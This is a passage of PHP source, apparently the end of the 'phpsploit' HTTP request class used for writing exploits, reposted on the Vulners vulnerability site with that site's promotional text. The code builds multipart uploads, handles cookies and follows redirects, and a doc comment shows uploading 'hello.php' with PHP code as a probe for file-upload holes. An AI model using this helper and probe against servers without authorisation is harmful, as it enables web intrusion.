	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=&gt;&nbsp;'hello.php,
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=&gt;&nbsp;'&lt;?php&nbsp;echo&nbsp;1;&nbsp;?&gt;'));
	&nbsp;*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;formdata($formdata);
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;formdata($array)
	{
		$this-&gt;target($array[frmdt_url]);
		$this-&gt;method&nbsp;=&nbsp;'formdata';
		$this-&gt;data&nbsp;=&nbsp;'';
		
		if(!isset($array[frmdt_boundary]))
		&nbsp;&nbsp;&nbsp;$this-&gt;boundary&nbsp;=&nbsp;'phpsploit';
		else
		&nbsp;&nbsp;&nbsp;$this-&gt;boundary&nbsp;=&nbsp;$array[frmdt_boundary];

		foreach($array&nbsp;as&nbsp;$key&nbsp;=&gt;&nbsp;$value)
		{
			if(!preg_match('#^frmdt_(boundary|url)#',$key))
			{
				$this-&gt;data&nbsp;.=&nbsp;str_repeat('-',29).$this-&gt;boundary.&quot;\r\n&quot;;
				$this-&gt;data&nbsp;.=&nbsp;'Content-Disposition:&nbsp;form-data;&nbsp;name=&quot;'.$key.'&quot;;';
				
				if(!is_array($value))
				{
					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n\r\n&quot;.$value.&quot;\r\n&quot;;
				}
				else
				{
					$this-&gt;data&nbsp;.=&nbsp;'&nbsp;filename=&quot;'.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;

					if(isset($array[$key][frmdt_type]))
					&nbsp;&nbsp;&nbsp;$this-&gt;data&nbsp;.=&nbsp;'Content-Type:&nbsp;'.$array[$key][frmdt_type].&quot;\r\n&quot;;

					if(isset($array[$key][frmdt_transfert]))
					&nbsp;&nbsp;&nbsp;$this-&gt;data&nbsp;.=&nbsp;'Content-Transfer-Encoding:&nbsp;'.$array[$key][frmdt_transfert].&quot;\r\n&quot;;

					$this-&gt;data&nbsp;.=&nbsp;&quot;\r\n&quot;.$array[$key][frmdt_content].&quot;\r\n&quot;;
				}
			}
		}

		$this-&gt;data&nbsp;.=&nbsp;str_repeat('-',29).$this-&gt;boundary.&quot;--\r\n&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content
	&nbsp;*&nbsp;of&nbsp;the&nbsp;server&nbsp;response,&nbsp;without
	&nbsp;*&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;server_content
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent($this-&gt;get('http://localhost/'))
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getcontent($code='')
	{
		if(empty($code))
		&nbsp;&nbsp;&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;

		$code&nbsp;=&nbsp;explode(&quot;\r\n\r\n&quot;,$code);
		$this-&gt;server_content&nbsp;=&nbsp;'';
		
		for($i=1;$i&lt;count($code);$i++)
		&nbsp;&nbsp;&nbsp;$this-&gt;server_content&nbsp;.=&nbsp;$code[$i];

		return&nbsp;$this-&gt;server_content;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers
	&nbsp;*&nbsp;of&nbsp;the&nbsp;server&nbsp;response,&nbsp;without
	&nbsp;*&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;@return&nbsp;&nbsp;string&nbsp;$this-&gt;server_header
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent()
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;getcontent($this-&gt;post('http://localhost/','1=2'))
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getheader($code='')
	{
		if(empty($code))
		&nbsp;&nbsp;&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;

		$code&nbsp;=&nbsp;explode(&quot;\r\n\r\n&quot;,$code);
		$this-&gt;server_header&nbsp;=&nbsp;$code[0];
		
		return&nbsp;$this-&gt;server_header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;cookiejar()&nbsp;function.&nbsp;It&nbsp;adds&nbsp;the
	&nbsp;*&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header&nbsp;for&nbsp;the
	&nbsp;*&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to
	&nbsp;*&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@param&nbsp;&nbsp;string&nbsp;code&nbsp;ServerResponse
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getcookie()
	{
		foreach(explode(&quot;\r\n&quot;,$this-&gt;getheader())&nbsp;as&nbsp;$header)
		{
			if(preg_match('/set-cookie/i',$header))
			{
				$fequal&nbsp;=&nbsp;strpos($header,'=');
				$fvirgu&nbsp;=&nbsp;strpos($header,';');
				
				//&nbsp;12=strlen('set-cookie:&nbsp;')
				$cname&nbsp;&nbsp;=&nbsp;substr($header,12,$fequal-12);
				$cvalu&nbsp;&nbsp;=&nbsp;substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
				
				$this-&gt;cookie[trim($cname)]&nbsp;=&nbsp;trim($cvalu);
			}
		}
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the
	&nbsp;*&nbsp;get()/post()&nbsp;functions.&nbsp;You
	&nbsp;*&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;private
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;urltarg&nbsp;Url
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;target('http://localhost/')
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;target($urltarg)
	{
		if(!ereg('^http://',$urltarg))
		&nbsp;&nbsp;&nbsp;$urltarg&nbsp;=&nbsp;'http://'.$urltarg;
		&nbsp;&nbsp;&nbsp;
		$urlarr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;parse_url($urltarg);
		$this-&gt;url&nbsp;&nbsp;=&nbsp;'http://'.$urlarr['host'].$urlarr['path'];
		
		if(isset($urlarr['query']))
		&nbsp;&nbsp;&nbsp;$this-&gt;url&nbsp;.=&nbsp;'?'.$urlarr['query'];
		
		$this-&gt;port&nbsp;=&nbsp;!empty($urlarr['port'])&nbsp;?&nbsp;$urlarr['port']&nbsp;:&nbsp;80;
		$this-&gt;host&nbsp;=&nbsp;$urlarr['host'];
		
		if($this-&gt;port&nbsp;!=&nbsp;'80')
		&nbsp;&nbsp;&nbsp;$this-&gt;host&nbsp;.=&nbsp;':'.$this-&gt;port;

		if(!isset($urlarr['path'])&nbsp;or&nbsp;empty($urlarr['path']))
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;No&nbsp;path&nbsp;precised&quot;);

		$this-&gt;path&nbsp;=&nbsp;substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

		if($this-&gt;port&nbsp;&gt;&nbsp;65535)
		&nbsp;&nbsp;&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,
	&nbsp;*&nbsp;the&nbsp;script&nbsp;will&nbsp;extract&nbsp;all
	&nbsp;*&nbsp;'Set-Cookie'&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add
	&nbsp;*&nbsp;them&nbsp;into&nbsp;the&nbsp;'Cookie'&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;code&nbsp;1(enabled)&nbsp;0(disabled)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;cookiejar(0)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;cookiejar(1)
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;cookiejar($code)
	{
		if($code=='0')
		&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar=FALSE;

		elseif($code=='1')
		&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar=TRUE;
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,
	&nbsp;*&nbsp;the&nbsp;script&nbsp;will&nbsp;follow&nbsp;all
	&nbsp;*&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;integer&nbsp;code&nbsp;1(enabled)&nbsp;0(disabled)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;allowredirection(0)
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;allowredirection(1)
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;allowredirection($code)
	{
		if($code=='0')
		&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection=FALSE;
		&nbsp;&nbsp;&nbsp;
		elseif($code=='1')
		&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection=TRUE;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;if
	&nbsp;*&nbsp;allowredirection()&nbsp;is&nbsp;enabled.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@access&nbsp;private
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection)
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;get($this-&gt;last_redirection)
	&nbsp;*&nbsp;@return&nbsp;string&nbsp;$this-&gt;recv;
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;getredirection()
	{
		if(preg_match('/(location|content-location|uri):&nbsp;(.*)/i',$this-&gt;getheader(),$codearr))
		{
			$this-&gt;last_redirection&nbsp;=&nbsp;trim($codearr[2]);
			
			if(!ereg('://',$this-&gt;last_redirection))
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;get('http://'.$this-&gt;host.$this-&gt;path.$this-&gt;last_redirection);

			else
			&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;get($this-&gt;last_redirection);
		}
		else
		&nbsp;&nbsp;&nbsp;return&nbsp;$this-&gt;recv;
	}


	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you
	&nbsp;*&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@access&nbsp;&nbsp;public
	&nbsp;*&nbsp;@param&nbsp;&nbsp;&nbsp;string&nbsp;func&nbsp;Param
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset('header')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset('cookie')
	&nbsp;*&nbsp;@example&nbsp;$this-&gt;reset()
	&nbsp;*&nbsp;
	&nbsp;*/
	function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;'header':
			$this-&gt;header&nbsp;=&nbsp;array('');
			break;
				
			case&nbsp;'cookie':
			$this-&gt;cookie&nbsp;=&nbsp;array('');
			break;
				
			default:
			$this-&gt;cookiejar&nbsp;=&nbsp;'';
			$this-&gt;header&nbsp;=&nbsp;array('');
			$this-&gt;cookie&nbsp;=&nbsp;array('');
			$this-&gt;allowredirection&nbsp;=&nbsp;'';
			break;
		}
	}
}

?&gt;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation